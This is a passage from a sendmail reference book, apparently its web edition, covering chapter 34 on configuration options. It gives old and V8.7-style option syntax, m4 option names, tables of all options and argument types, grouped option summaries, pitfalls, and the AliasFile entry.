/var/spool/mqueue: Permission denied

Note that prior to V8.8.4, the DontInitGroups and TryNullMXList options were wrongly set to safe. This is yet another reason to always upgrade to the latest version of sendmail.

Previous: 33.8 Alphabetized Reference | sendmail | Next: 34.2 Configuration-File Options
33.8 Alphabetized Reference | Book Index | 34.2 Configuration-File Options


[Chapter 34] 34.2 Configuration-File Options

sendmailSearch this book
Previous: 34.1 Command-Line Options Chapter 34
Options 		Next: 34.3 Configuring with V8 m4 Options

34.2 Configuration-File Options

Beginning with version 8.7 sendmail, configuration-file options may use multicharacter option names. Prior to version 8.7, only single characters were allowed. We describe the old form first, then the new.

34.2.1 Pre-V8.7 Configuration-File Declarations

The old form for an option command in the sendmail.cf file is

OXargument        <-  prior to V8.7

Like all configuration commands, the uppercase letter O must begin the line. It is immediately followed (with no intervening space) by another single letter, which selects a specific option. Uppercase letters are distinct from lowercase for single-character option names (that is, X is different from x). Depending on the option selected, an argument may be required. There must be no intervening space between the single-character option name and its argument.

34.2.2 V8.7 Configuration File Declarations

Beginning with version 8.7, option names may be single-character or multicharacter. A space is used to differentiate between single-character and multicharacter (long) names:

O LongName=argument         <-  beginning with V8.7

 a space (not a tab)

Whenever the O configuration command is followed by a space (not a tab), everything following that space is taken as the declaration of a multicharacter option. Unlike single-letter option names, multicharacter names are interpreted by sendmail without regard to case. Therefore the following three examples all produce the same effect:

O QueueDirectory=/var/tmp
O queuedirectory=/var/tmp
O QuEuEdIrEcToRy=/var/tmp

There may be optional space (not tab) characters surrounding the = character:

O QueueDirectory = /var/tmp

                spaces, not tabs

Multicharacter names in the configuration file must not be abbreviated or expressed in shorthand:

O QueueDirectory=/var/spool/mqueue      <-  good
O QueueDir=/var/spool/mqueue            <-  bad

Failure to use the full multicharacter name will cause sendmail to print spurious warnings every time it is run. The possible warnings are listed in Section 34.1.2.1, "Multicharacter name shorthand". Multicharacter names are beneficial because they allow option names to have mnemonic recognition. For example, the multicharacter name ForwardPath, which lists the default path for ~/.forward files, is much more recognizable than the single-character name J.

Previous: 34.1 Command-Line Options | sendmail | Next: 34.3 Configuring with V8 m4 Options
34.1 Command-Line Options | Book Index | 34.3 Configuring with V8 m4 Options


[Chapter 34] 34.3 Configuring with V8 m4 Options

sendmailSearch this book
Previous: 34.2 Configuration-File Options Chapter 34
Options 		Next: 34.4 Alphabetical Table of All Options

34.3 Configuring with V8 m4 Options

In creating a configuration file with the V8 m4 method (see Chapter 19, V8 m4 Configuration), every option can be tuned by including appropriate define statements in your .mc file:

define(`option',`value')              <-  enclose in opposing half-quotes
define(`confAUTO_REBUILD',`True')     <-  for example

The option is selected from one of the m4 option names shown in the leftmost column of Table 34.3. The value is an appropriate value for that option, as described in the reference section of this chapter. Note that the option and the value should each be enclosed in opposing half-quotes to prevent m4 from wrongly recognizing either as a keyword or macro. The leftmost half-quote is the reverse apostrophe, and the rightmost is the normal apostrophe.

Table 34.3: All V8 m4 Options Ordered by m4 Name
V8 m4 Option Name | Option Name |
ALIAS_FILE | AliasFile (A) | Section 34.8.1, AliasFile (A)
confALIAS_WAIT | AliasWait (a) | Section 34.8.2, AliasWait (a)
confAUTO_REBUILD | AutoRebuildAliases (D) | Section 34.8.4, AutoRebuildAliases (D)
confBIND_OPTS | ResolverOptions (I) | Section 34.8.55, ResolverOptions (I)
confBLANK_SUB | BlankSub (B) | Section 34.8.5, BlankSub (B)
confCHECKPOINT_INTERVAL | CheckpointInterval (C) | Section 34.8.7
confCHECK_ALIASES | CheckAliases (n) | Section 34.8.6, CheckAliases (n)
confCOLON_OK_IN_ADDR | ColonOkInAddr | Section 34.8.9
confCON_EXPENSIVE | HoldExpensive (c) | Section 34.8.29, HoldExpensive (c)
confTO_HOSTSTATUS | Timeout.hoststatus | Section 34.8.70.8, "Timeout.hoststatus"
confCOPY_ERRORS_TO | PostmasterCopy (P) | Section 34.8.46, PostmasterCopy (P)
confMAX_DAEMON_CHILDREN | MaxDaemonChildren | Section 34.8.35
confDAEMON_OPTIONS | DaemonPortOptions (O) | Section 34.8.13, DaemonPortOptions (O)
confDEF_GROUP_ID | (g) | Section 34.8.15, DefaultUser (g)(u)
confDEF_USER_ID | DefaultUser (u) | Section 34.8.15
confDELIVERY_MODE | DeliveryMode (d) | Section 34.8.16
confDONT_EXPAND_CNAMES | DontExpandCnames | Section 34.8.18, DontExpandCnames
confDONT_PRUNE_ROUTES | DontPruneRoutes (R) | Section 34.8.20, DontPruneRoutes (R)
confEIGHT_BIT_HANDLING | EightBitMode (8) | Section 34.8.22
confERROR_MODE | ErrorMode (e) | Section 34.8.24
confERROR_MESSAGE | ErrorHeader (E) | Section 34.8.23, ErrorHeader (E)
confFALLBACK_MX | FallbackMXhost (V) | Section 34.8.25, FallbackMXhost (V)
confFORWARD_PATH | ForwardPath (J) | Section 34.8.27, ForwardPath (J)
confFROM_LINE | UnixFromLine $l | Section 34.8.72, UnixFromLine or $l
HELP_FILE | HelpFile (H) | Section 34.8.28, HelpFile (H)
confHOSTS_FILE | HostsFile | Section 34.8.30, HostsFile
confHOST_STATUS_DIRECTORY | HostStatusDirectory | Section 34.8.31, HostStatusDirectory
confIGNORE_DOTS | IgnoreDots (i) | Section 34.8.32
confLOG_LEVEL | LogLevel (L) | Section 34.8.33
confMATCH_GECOS | MatchGECOS (G) | Section 34.8.34, MatchGECOS (G)
confMAX_HOP | MaxHopCount (h) | Section 34.8.36, MaxHopCount (h)
confMAX_MESSAGE_SIZE | MaxMessageSize | Section 34.8.37, MaxMessageSize
confMAX_QUEUE_RUN_SIZE | MaxQueueRunSize | Section 34.8.38
confMCI_CACHE_SIZE | ConnectionCacheSize (k) | Section 34.8.10, ConnectionCacheSize (k)
confMCI_CACHE_TIMEOUT | ConnectionCacheTimeout (K) | Section 34.8.11, ConnectionCacheTimeout (K)
confMESSAGE_TIMEOUT | QueueTimeout (T) | Section 34.8.52, QueueTimeout (T)
confME_TOO | MeToo (m) | Section 34.8.39
confMIME_FORMAT_ERRORS | SendMimeErrors (j) | Section 34.8.60
confMIN_FREE_BLOCKS | MinFreeBlocks (b) | Section 34.8.40
confNO_RCPT_ACTION | NoRecipientAction | Section 34.8.43
confOLD_STYLE_HEADERS | OldStyleHeaders (o) | Section 34.8.44
confOPERATORS | OperatorChars | Section 34.8.45, OperatorChars or $o
confPRIVACY_FLAGS | PrivacyOptions (p) | Section 34.8.47
QUEUE_DIR | QueueDirectory (Q) | Section 34.8.48, QueueDirectory (Q)
confQUEUE_FACTOR | QueueFactor (q) | Section 34.8.49, QueueFactor (q)
confQUEUE_LA | QueueLA (x) | Section 34.8.50, QueueLA (x)
confQUEUE_SORT_ORDER | QueueSortOrder | Section 34.8.51
confREAD_TIMEOUT | Timeout (r) | Section 34.8.70, Timeout (r)
confREFUSE_LA | RefuseLA (X) | Section 34.8.54, RefuseLA (X)
confSAFE_FILE_ENV | SafeFileEnvironment | Section 34.8.58, SafeFileEnvironment
confSAFE_QUEUE | SuperSafe (s) | Section 34.8.67
confSAVE_FROM_LINES | SaveFromLine (f) | Section 34.8.59, SaveFromLine (f)
confSEPARATE_PROC | ForkEachJob (Y) | Section 34.8.26, ForkEachJob (Y)
confSEVEN_BIT_INPUT | SevenBitInput (7) | Section 34.8.62
confSINGLE_THREAD_DELIVERY | SingleThreadDelivery | Section 34.8.64
confSMTP_LOGIN_MSG | SmtpGreetingMessage $e | Section 34.8.65, SmtpGreetingMessage or $e
STATUS_FILE | StatusFile (S) | Section 34.8.66, StatusFile (S)
confTEMP_FILE_MODE | TempFileMode (F) | Section 34.8.68, TempFileMode (F)
confTIME_ZONE | TimeZoneSpec (t) | Section 34.8.69, TimeZoneSpec (t)
confTO_COMMAND | Timeout.command | Section 34.8.70.1, "Timeout.command"
confTO_CONNECT | Timeout.connect | Section 34.8.70.2, "Timeout.connect"
confTO_DATABLOCK | Timeout.datablock | Section 34.8.70.3, "Timeout.datablock"
confTO_DATAFINAL | Timeout.datafinal | Section 34.8.70.4, "Timeout.datafinal"
confTO_DATAINIT | Timeout.datainit | Section 34.8.70.5, "Timeout.datainit"
confTO_FILEOPEN | Timeout.fileopen | Section 34.8.70.6, "Timeout.fileopen"
confTO_HELO | Timeout.helo | Section 34.8.70.7, "Timeout.helo"
confTO_HOSTSTATUS | Timeout.hoststatus | Section 34.8.70.8
confTO_ICONNECT | Timeout.iconnect | Section 34.8.70.9, "Timeout.iconnect"
confTO_IDENT | Timeout.ident | Section 34.8.70.10, "Timeout.ident"
confTO_INITIAL | Timeout.initial | Section 34.8.70.11, "Timeout.initial"
confTO_MAIL | Timeout.mail | Section 34.8.70.12, "Timeout.mail"
confTO_MISC | Timeout.misc | Section 34.8.70.13, "Timeout.misc"
confTO_QUIT | Timeout.quit | Section 34.8.70.16, "Timeout.quit"
confTO_QUEUERETURN | Timeout.queuereturn | Section 34.8.70.14, "Timeout.queuereturn"
confTO_QUEUERETURN_NONURGENT | Timeout.queuereturn.non-urgent | Section 34.8.70.14
confTO_QUEUERETURN_NORMAL | Timeout.queuereturn.normal | Section 34.8.70.14
confTO_QUEUERETURN_URGENT | Timeout.queuereturn.urgent | Section 34.8.70.14
confTO_QUEUEWARN | Timeout.queuewarn | Section 34.8.70.15, "Timeout.queuewarn"
confTO_QUEUEWARN_NONURGENT | Timeout.queuewarn.non-urgent | Section 34.8.70.15
confTO_QUEUEWARN_NORMAL | Timeout.queuewarn.normal | Section 34.8.70.15
confTO_QUEUEWARN_URGENT | Timeout.queuewarn.urgent | Section 34.8.70.15
confTO_RCPT | Timeout.rcpt | Section 34.8.70.17, "Timeout.rcpt"
confTO_RSET | Timeout.rset | Section 34.8.70.18, "Timeout.rset"
confTRY_NULL_MX_LIST | TryNullMXList (w) | Section 34.8.71, TryNullMXList (w)
confUNSAFE_GROUP_WRITES | UnsafeGroupWrites | Section 34.8.73, UnsafeGroupWrites
confUSERDB_SPEC | UserDatabaseSpec (U) | Section 34.8.75, UserDatabaseSpec (U)
confUSE_ERRORS_TO | UseErrorsTo (l) | Section 34.8.74
confWORK_CLASS_FACTOR | ClassFactor (z) | Section 34.8.8, ClassFactor (z)
confWORK_RECIPIENT_FACTOR | RecipientFactor (y) | Section 34.8.53, RecipientFactor (y)
confWORK_TIME_FACTOR | RetryFactor (Z) | Section 34.8.56, RetryFactor (Z)

Previous: 34.2 Configuration-File Options | sendmail | Next: 34.4 Alphabetical Table of All Options
34.2 Configuration-File Options | Book Index | 34.4 Alphabetical Table of All Options


[Chapter 34] 34.4 Alphabetical Table of All Options

sendmailSearch this book
Previous: 34.3 Configuring with V8 m4 Options Chapter 34
Options 		Next: 34.5 Option Argument Types

34.4 Alphabetical Table of All Options

In this section we present a table of all options in alphabetical order. The leftmost column of Table 34.4 lists first the multicharacter names and then the single-characters names. The second column lists the type of argument that each option takes. These types are explained in the next section.

Table 34.4: All Options
Option Name |  | Type |  | Description
AliasFile | (A) | String | Section 34.8.1 | Define the aliases file location
AliasWait | (a) | Time | Section 34.8.2 | Wait for aliases file rebuild
AllowBogusHELO |  | Boolean | Section 34.8.3 | Allow no host with HELO or EHLO
AutoRebuildAliases | (D) | Boolean | Section 34.8.4 | Autorebuild the aliases database
BlankSub | (B) | Character | Section 34.8.5 | Unquoted space replacement
CheckAliases | (n) | Boolean | Section 34.8.6 | Check right-hand side of aliases
CheckpointInterval | (C) | Numeric | Section 34.8.7 | Checkpoint the queue
ClassFactor | (z) | Numeric | Section 34.8.8 | Multiplier for priority increments
ColonOkInAddr |  | Boolean | Section 34.8.9 | Allow colons in addresses
ConnectionCacheSize | (k) | Numeric | Section 34.8.10 | Multiple-SMTP connections
ConnectionCacheTimeout | (K) | Time | Section 34.8.11 | Multiple-SMTP timeouts
ConnectionRateThrottle |  | Numeric | Section 34.8.12, ConnectionRateThrottle | Incoming SMTP connection rate
DaemonPortOptions | (O) | String | Section 34.8.13 | Options for the daemon
DefaultCharSet |  | String | Section 34.8.14 | Content-Type: character set
DefaultUser | (u) | String | Section 34.8.15 | Default delivery agent identity
DefaultUser | (g) | String | Section 34.8.15 | Default delivery agent identity
DeliveryMode | (d) | Character | Section 34.8.16 | Set delivery mode
DialDelay |  | String | Section 34.8.17, DialDelay | Connect failure retry time
DontExpandCnames |  | Boolean | Section 34.8.18 | Prevent CNAME expansion
DontInitGroups |  | Boolean | Section 34.8.19, DontInitGroups | Don't use initgroups(3)
DontPruneRoutes | (R) | Boolean | Section 34.8.20 | Don't prune route addresses
DoubleBounceAddress |  | String | Section 34.8.21, DoubleBounceAddress | Errors when sending errors
EightBitMode | (8) | Character | Section 34.8.22 | How to convert MIME input
ErrorHeader | (E) | String | Section 34.8.23 | Set error message header
ErrorMode | (e) | Character | Section 34.8.24 | Specify mode of error handling
FallbackMXhost | (V) | String | Section 34.8.25 | Fallback MX host
ForkEachJob | (Y) | Boolean | Section 34.8.26 | Process queue files individually
ForwardPath | (J) | String | Section 34.8.27 | Set ~/.forward search path
HelpFile | (H) | String | Section 34.8.28 | Specify location of the help file
HoldExpensive | (c) | Boolean | Section 34.8.29 | Queue for expensive mailers
HostsFile |  | String | Section 34.8.30 | Specify alternate /etc/hosts file
HostStatusDirectory |  | String | Section 34.8.31 | Location of persistent host status
IgnoreDots | (i) | Boolean | Section 34.8.32 | Ignore leading dots in messages
LogLevel | (L) | Numeric | Section 34.8.33 | Set (increase) logging level
MatchGECOS | (G) | Boolean | Section 34.8.34 | Match recipient in gecos field
MaxDaemonChildren |  | Numeric | Section 34.8.35 | Maximum forked children
MaxHopCount | (h) | Numeric | Section 34.8.36 | Set maximum hop count
MaxMessageSize |  | Numeric | Section 34.8.37 | Max ESMTP message size
MaxQueueRunSize |  | Numeric | Section 34.8.38 | Max queue messages processed
MeToo | (m) | Boolean | Section 34.8.39 | Send to me too
MinFreeBlocks | (b) | Numeric | Section 34.8.40 | Define minimum free disk blocks
MinQueueAge |  | Time | Section 34.8.41 | Skip queue file if too young
MustQuoteChars |  | String | Section 34.8.42, MustQuoteChars | Quote nonaddress characters
NoRecipientAction |  | String | Section 34.8.43 | Handle no recipients in header
OldStyleHeaders | (o) | Boolean | Section 34.8.44 | Allow spaces in recipient lists
OperatorChars | $o | String | Section 34.8.45 | Set token separation operators
PostmasterCopy | (P) | String | Section 34.8.46 | Extra copies of postmaster mail
PrivacyOptions | (p) | String | Section 34.8.47 | Increase privacy of the daemon
QueueDirectory | (Q) | String | Section 34.8.48 | Location of queue directory
QueueFactor | (q) | Numeric | Section 34.8.49 | Factor for high-load queuing
QueueLA | (x) | Numeric | Section 34.8.50 | On high load, queue only
QueueSortOrder |  | Character | Section 34.8.51 | How to presort the queue
QueueTimeout | (T) | Time | Section 34.8.52 | Limit life in queue to days
RecipientFactor | (y) | Numeric | Section 34.8.53 | Penalize large recipient lists
RefuseLA | (X) | Numeric | Section 34.8.54 | Refuse connections on high load
ResolverOptions | (I) | String | Section 34.8.55 | Tune DNS lookups
RetryFactor | (Z) | Numeric | Section 34.8.56 | Increment per job priority
RunAsUser |  | String | Section 34.8.57, RunAsUser | Run as nonroot
SafeFileEnvironment |  | String | Section 34.8.58 | Directory for safe file writes
SaveFromLine | (f) | Boolean | Section 34.8.59 | Save UNIX-style From lines
SendMimeErrors | (j) | Boolean | Section 34.8.60 | Return MIME-format errors
ServiceSwitchFile |  | String | Section 34.8.61, ServiceSwitchFile | Switched services file
SevenBitInput | (7) | Boolean | Section 34.8.62 | Force 7-bit input
SingleLineFromHeader |  | Boolean | Section 34.8.63 | Strip newlines from From:
SingleThreadDelivery |  | Boolean | Section 34.8.64 | Set single threaded delivery
SmtpGreetingMessage | $e | String | Section 34.8.65 | The SMTP greeting message
StatusFile | (S) | String | Section 34.8.66 | Specify statistics file
SuperSafe | (s) | Boolean | Section 34.8.67 | Queue everything just in case
TempFileMode | (F) | Octal | Section 34.8.68 | Permissions for temporary files
TimeZoneSpec | (t) | String | Section 34.8.69 | Set time zone
Timeout | (r) | String | Section 34.8.70 | Set timeouts
TryNullMXList | (w) | Boolean | Section 34.8.71 | Use A if no best MX record
UnixFromLine | $l | String | Section 34.8.72 | Define the From format
UnsafeGroupWrites |  | Boolean | Section 34.8.73 | Check unsafe group permissions
UseErrorsTo | (l) | Boolean | Section 34.8.74 | Use Errors-To: for errors
UserDatabaseSpec | (U) | String | Section 34.8.75 | Specify user database
Verbose | (v) | Boolean | Section 34.8.76 | Run in verbose mode
 | (M) | String | Section 34.8.77 | Define a macro

Previous: 34.3 Configuring with V8 m4 Options | sendmail | Next: 34.5 Option Argument Types
34.3 Configuring with V8 m4 Options | Book Index | 34.5 Option Argument Types


[Chapter 34] 34.5 Option Argument Types

sendmailSearch this book
Previous: 34.4 Alphabetical Table of All Options Chapter 34
Options 		Next: 34.6 Interrelating Options

34.5 Option Argument Types

The second column of Table 34.4 shows the type of the argument for each option. The allowable types are the following:

Boolean

A Boolean-type argument can have only one of two possible values: true or false. If the Boolean argument is present, its first letter is compared to the four letters T, t, Y, and y. If that first letter matches any of those four, the option is set to true; otherwise, it is set to false. If a Boolean argument is absent, the option defaults to true. For example,

Oc                            <-  Boolean absent, `c' is set true.
OcTrue                        <-  Boolean=`T'rue, `c' is set true.
OcFalse                       <-  Boolean=`F'alse, `c' is set false.

and beginning with V8.7, you can also do this:

O HoldExpensive               <-  Boolean absent, option is set true.
O HoldExpensive=True          <-  Boolean=`T'rue, option is set true.
O HoldExpensive=False         <-  Boolean=`F'alse, option is set false.

Character

A character type is a single ASCII character. Options that take a single character as an argument may also take a whole word or sentence, but in that case, only the first character is recognized:

Odb                           <-  b for background mode
Odbackground                  <-  same

Beginning with V8.7 the same form looks like this:

O DeliveryMode=b              <-  b for background mode
O DeliveryMode=background     <-  same

The argument is case-sensitive, that is, the character b is considered to be different from the character B:

Odb                           <-  b for background mode
OdB                           <-  meaningless

Numeric

A numeric type is an ASCII representation of an integer value. It may be positive, zero, or negative. The base is determined after any leading sign is handled. A leading 0 causes the octal base to be used. A leading 0x or 0X causes the hexadecimal base to be used. Otherwise, a decimal base is used (see atoi(3)). Decimal is best to use for options like the hop count (option h):

Oh15                          <-  decimal for hop count
O MaxHopCount=15              <-  decimal for hop count V8.7 style

String

A string type is a line of ASCII text. A string is all text from the single-character option name up to the end of the line. If the following line is a continuation line (one that begins with a tab or a space), it is joined (appended) to the string. Prior to V8 the maximum length of a string was defined by MAXLINE in conf.h. Beginning with V8 sendmail, strings may be of virtually unlimited length. If the string is quoted, the quotation marks are not stripped by sendmail:

OA/etc/aliases                <-  location of the aliases file
OA"/etc/aliases"              <-  bad, quotes are retained

Beginning with V8.7, the string is considered to begin at the first nonspace character following the = character of a multicharacter option declaration:

O AliasFile =  /etc/aliases

               from here

Octal

An octal type is like the numeric type above but is always interpreted as an octal (base 8) number even if the leading zero is absent. This type is specially designed for file permissions:

OF0600                        <-  octal for file permissions
OF600                         <-  octal even without the leading zero
O TempFileMode=0600           <-  octal for file permissions V8.7 style

Time

A time type is the expression of a period of time. Time is expressed as a number modified by a trailing letter. The recognized letters (shown in Table 34.5 determine what the number means. For example, 24h means 24 hours, and 15m means 15 minutes.

Table 34.5: Option Time Argument Units
Letter | Units
s | Seconds
m | Minutes
h | Hours
d | Days
w | Weeks

Times may be mixed; for example, 1h30m means one hour and 30 minutes. If the letter modifier is missing, pre-V8 versions of sendmail default the time to days:

Or2h                         <-  SMTP timeout is 2 hours
OT2                          <-  life in queue is 2 days

V8 sendmail uses different default units depending on the specific option. For consistent results, always include the units for all versions of sendmail. Prior to V8.7, unrecognized unit characters (such as j when you really meant h) would silently default to days. Beginning with V8.7, unrecognized unit characters cause sendmail to print the following error and default the units to those specified by the particular option:

Invalid time unit `character'

Previous: 34.4 Alphabetical Table of All Options | sendmail | Next: 34.6 Interrelating Options
34.4 Alphabetical Table of All Options | Book Index | 34.6 Interrelating Options


[Chapter 34] 34.6 Interrelating Options

sendmailSearch this book
Previous: 34.5 Option Argument Types Chapter 34
Options 		Next: 34.7 Pitfalls

34.6 Interrelating Options

At the end of this chapter we list all the options in alphabetical order for easy lookup and explain each in detail. Here, we present them grouped by application with only a brief description.

34.6.1 File Locations

The only file that sendmail knows the location of is its configuration file. [3] Options in the configuration file tell sendmail where all other files and directories are located. The options that specify file locations are summarized in Table 34.6. All file location options are of type string.

[3] Beginning with V8.6 sendmail, it also knows the location of its pid file.

Table 34.6: File Location Options
Option Name |  |  | File
AliasFile | (A) | Section 34.8.1 | Aliases file and its database files
ErrorHeader | (E) | Section 34.8.23 | Set error message file
ForwardPath | (J) | Section 34.8.27 | Set ~/.forward search path
HelpFile | (H) | Section 34.8.28 | Specify location of the help file
HostsFile |  | Section 34.8.30 | Specify alternate /etc/hosts file
QueueDirectory | (Q) | Section 34.8.48 | Location of queue directory
SafeFileEnvironment |  | Section 34.8.58 | Directory for safe file writes
ServiceSwitchFile |  | Section 34.8.61 | Specify file for switched services
StatusFile | (S) | Section 34.8.66 | Statistics file
UserDatabaseSpec | (U) | Section 34.8.75 | Specify user database

File locations should be expressed as full pathnames. Use of relative names will cause the location to become relative to the queue directory or, for some options, will cause the name to be interpreted as something other than a file or directory name.

34.6.2 The Queue

Several options combine to determine your site's policy for managing the sendmail queue (see Chapter 23, The Queue). Among them is one that specifies the location of the queue directory and another that sets the permissions given to files in that directory. The list of all options that affect the queue is shown in Table 34.7.

Table 34.7: Options that Affect the Queue
Option Name |  |  | Description
CheckpointInterval | (C) | Section 34.8.7 | Checkpoint the queue
ForkEachJob | (Y) | Section 34.8.26 | Process queue files individually
MaxQueueRunSize |  | Section 34.8.38 | Max queue messages processed
MinFreeBlocks | (b) | Section 34.8.40 | Define minimum free disk blocks
MinQueueAge |  | Section 34.8.41 | Skip queue file if too young
QueueDirectory | (Q) | Section 34.8.48 | Location of queue directory
QueueFactor | (q) | Section 34.8.49 | Factor for high-load queuing
QueueLA | (x) | Section 34.8.50 | On high load queue only
QueueSortOrder |  | Section 34.8.51 | How to presort the queue
QueueTimeout | (T) | Section 34.8.52 | Limit life in queue to days
RecipientFactor | (y) | Section 34.8.53 | Penalize large recipient lists
RetryFactor | (Z) | Section 34.8.56 | Increment per job priority
SuperSafe | (s) | Section 34.8.67 | Queue everything just in case
TempFileMode | (F) | Section 34.8.68 | Permissions for temporary files
Timeout.queuereturn |  | Section 34.8.70.14 | Timeout life in queue
Timeout.queuewarn |  | Section 34.8.70.15 | Timeout for still-in-queue warnings

34.6.3 Managing Aliases

In addition to knowing the location of the aliases file, some options determine how that file and its associated database files will be used. For example, there is an option that tells sendmail to automatically rebuild the database files whenever the aliases file is changed. The list of all aliases-related options is shown in Table 34.8.

Table 34.8: Options for Managing Aliases
Option Name |  |  | Description
AliasFile | (A) | Section 34.8.1 | Define the location of the aliases file
AliasWait | (a) | Section 34.8.2 | Wait for aliases file rebuild
AutoRebuildAliases | (D) | Section 34.8.4 | Autorebuild the aliases database
CheckAliases | (n) | Section 34.8.6 | Check right-hand side of aliases
ServiceSwitchFile |  | Section 34.8.61 | Specify file for switched services

34.6.4 Controlling Machine Load

Several options control the sendmail program's behavior under high-machine-load conditions. They are intended to reduce the impact of sendmail on machines that provide other services and to help protect sendmail from overburdening a machine. The list of options that determine and help to prevent high-load conditions is shown in Table 34.9.

Table 34.9: Options That Determine Load
Option Name |  |  | Description
ClassFactor | (z) | Section 34.8.8 | Multiplier for priority increments
ConnectionRateThrottle |  | Section 34.8.12 | Incoming SMTP connection rate
HoldExpensive | (c) | Section 34.8.29 | Queue for expensive mailers
MaxDaemonChildren |  | Section 34.8.35 | Maximum forked children
MinQueueAge |  | Section 34.8.41 | Skip queue file if too young
QueueFactor | (q) | Section 34.8.49 | Factor for high-load queuing
QueueLA | (x) | Section 34.8.50 | On high load queue only
RefuseLA | (X) | Section 34.8.54 | Refuse connections on high load

34.6.5 Connection Caching

V8 sendmail has connection caching to improve the performance of SMTP-transported mail. In processing the queue or delivering to a long list of recipients, keeping a few SMTP connections open (in case another message is for one of those same sites) improves the speed of transfers. Caching is most useful on busy mail hub machines but can benefit any machine that sends a great deal of network mail. Table 34.10 lists the options for how connections will be cached.

Table 34.10: Options That Determine Connection Caching
Option Name |  |  | Description
ConnectionCacheSize | (k) | Section 34.8.10 | Multiple-SMTP connections
ConnectionCacheTimeout | (K) | Section 34.8.11 | Multiple-SMTP timeouts

The sendmail program checks its connection cache just before opening up a new connection to a host. If the cache contains an entry for that host, sendmail sends an SMTP RSET command to the host to make sure the connection is still active. If the SMTP RSET succeeds, the connection is re-used. If the SMTP RSET times out (see Section 34.8.70.18, the Timeout.rset option), or fails, or if the host was not in the cache, an new connection is made.

34.6.6 Problem Solving

The sendmail program offers four options that will help in locating and solving some mail delivery problems. You are encouraged to enable the first two shown in Table 34.11. The third is of value only if you have many delivery agents (see Chapter 30, Delivery Agents).

Table 34.11: Options That Help with Problem Solving
Option Name |  |  | Description
LogLevel | (L) | Section 34.8.33 | Set (increase) logging level
PostmasterCopy | (P) | Section 34.8.46 | Extra copies of postmaster mail (not V5 BSD)
StatusFile | (S) | Section 34.8.66 | Specify statistics fil
Verbose | (v) | Section 34.8.76 | Run in verbose mod

Other means to solve problems are described in Chapter 37, Debugging with -d, which describes the -d debugging command-line switch, and in Chapter 36, The Command Line, (specifically Section 36.4, "Processing the Command Line"), which describes the -X traffic-logging command-line switch.

34.6.7 Other Options

The sendmail program supports a vast array of options. Take the time to study all the options (described at the end of this chapter) at least enough to get a basic feeling for what they do. Then, as you gain experience with sendmail, you'll know where to look for the particular option that will meet your needs.

Previous: 34.5 Option Argument Types | sendmail | Next: 34.7 Pitfalls
34.5 Option Argument Types | Book Index | 34.7 Pitfalls


[Chapter 34] 34.7 Pitfalls

sendmailSearch this book
Previous: 34.6 Interrelating Options Chapter 34
Options 		Next: 34.8 Alphabetized Reference

34.7 Pitfalls

  • If the option letter is one that is unknown to sendmail, it silently accepts the line but doesn't use it. For example, entering O1 when you really mean OI causes the unknown option 1 to be defined and the intended option I to remain undefined. Because no error message is printed, this kind of mistake is difficult to find. Note that, when you are in doubt, a debugging level of -d37.1 can be used to produce warnings (see Section 37.5.126, -d37.1).

  • Under versions of sendmail prior to V8.7, accidentally placing a space character between the O and the option letter wrongly causes sendmail to silently accept the space character as the option name. For example, the space in "O A/etc/aliases" gives to the option "space" the argument A/etc/aliases. Beginning with V8.7, a space option causes a multicharacter option name to be recognized (see Section 34.2.2, "V8.7 Configuration File Declarations").

  • Options are parsed from the top of the sendmail.cf file down. Later declarations of an option supersede earlier declarations. For example, if you try to change the location of the queue directory by placing the line OQ/mail/spool/mqueue at the top of your sendmail.cf file, that change is masked (ignored) by the existence of OQ/var/spool/mqueue later in the file.

  • Command-line options always supersede the sendmail.cf file options, because the command line is parsed after the sendmail.cf file is parsed. One way to change the location of the aliases file (perhaps for testing) is with a command-line argument such as -oA/tmp/aliases. For security reasons, however, not all command-line options are available to the ordinary user. (See Table 34.2 in Section 34.1.4, "Options that Are Safe" for a list of those that are available.)

Previous: 34.6 Interrelating Options | sendmail | Next: 34.8 Alphabetized Reference
34.6 Interrelating Options | Book Index | 34.8 Alphabetized Reference


[Chapter 34] 34.8 Alphabetized Reference

sendmailSearch this book
Previous: 34.7 Pitfalls Chapter 34
Options 		Next: 35. Headers

34.8 Alphabetized Reference

In the following sections we present all the options that are currently available for V8 sendmail. They are in alphanumeric order sorted by the multicharacter name. The multicharacter name appears at the left of each major section header. If an old single-character name exists, it is displayed parenthetically to the right of the multicharacter name. In a few cases, multicharacter names have replaced macros. In those instances the macro is displayed nonparenthetically.

34.8.1 AliasFile (A)

Define the aliases file location

(All versions)

The AliasFile (A) option must be declared for sendmail to do aliasing. If you omit this option, sendmail may silently assume that you do not want to do aliasing at all. There is no default compiled into sendmail for the location of the aliases file. [4] For V8 m4 configurations an appropriate default will be defined based on your operating system.

[4] Beginning with V8.7, a switched-services file (see Section 34.8.61) may cause aliases to be found in NIS or other services and may completely ignore alias files altogether.

If you specify a file that doesn't exist (such as /et/aliases if you really meant /etc/aliases) or one that is unreadable, sendmail complains, for example with

Can't open /et/aliases

This is a nonfatal error. The sendmail program prints it and continues to run but assumes that it shouldn't do aliasing.

The forms of the AliasFile (A) option are as follows:

OAlocation                          <-  configuration file (old form)
-oAlocation                         <-  command line (old form)
O AliasFile=location                <-  configuration file (beginning with V8.7)
-OAliasFile=location                <-  command line (beginning with V8.7)
define(`ALIAS_FILE',`location')     <-  V8 m4 configuration

The location is an argument of type string and can be an absolute or a relative pathname. A relative path (such as ../aliases) can be used for testing but should never be used in the production version of your sendmail.cf file. To do so opens a security hole. Such a path is interpreted by sendmail as relative to the queue directory.

This option can be used to change the name of the aliases file (a possible consideration for security). If you change the location or name of the aliases file, be aware that other programs (such as emacs and Sun's nis services) may cease to work properly.

Note that with the m4 technique the only way to eliminate the default alias file declaration (and thus to eliminate all aliases support) is to undefine ALIAS_FILE like this:

undefine(`ALIAS_FILE')

The sendmail program also allows you to use several alias databases simultaneously. They are listed with the AliasFile (A) option as, for example, like this:

O AliasFile=/etc/aliases/users,/etc/aliases/maillists

In this case, sendmail will look up an alias first in the database /etc/aliases/users. If it is not found, sendmail will then look in /etc/aliases/maillists. The number of simultaneous alias files is limited to MAXALIASDB (see Section 18.8.19, MAX...) as defined in conf.h (by default 12). The -bi command-line switch will rebuild all alias databases in the order listed in this AliasFile (A) option. Multiple declarations lines may appear in the file, each adding an alias database to the list:

O AliasFile=/etc/aliases/users     # aliases local users first
O AliasFile=/etc/aliases/maillists # then mailing lists
O AliasFile=/etc/aliases/retired   # then retired accounts

Duplicates are not detected. Therefore the following causes /etc/aliases to be searched and rebuilt twice each time:

O AliasFile=/etc/aliases
O AliasFile=/etc/aliases

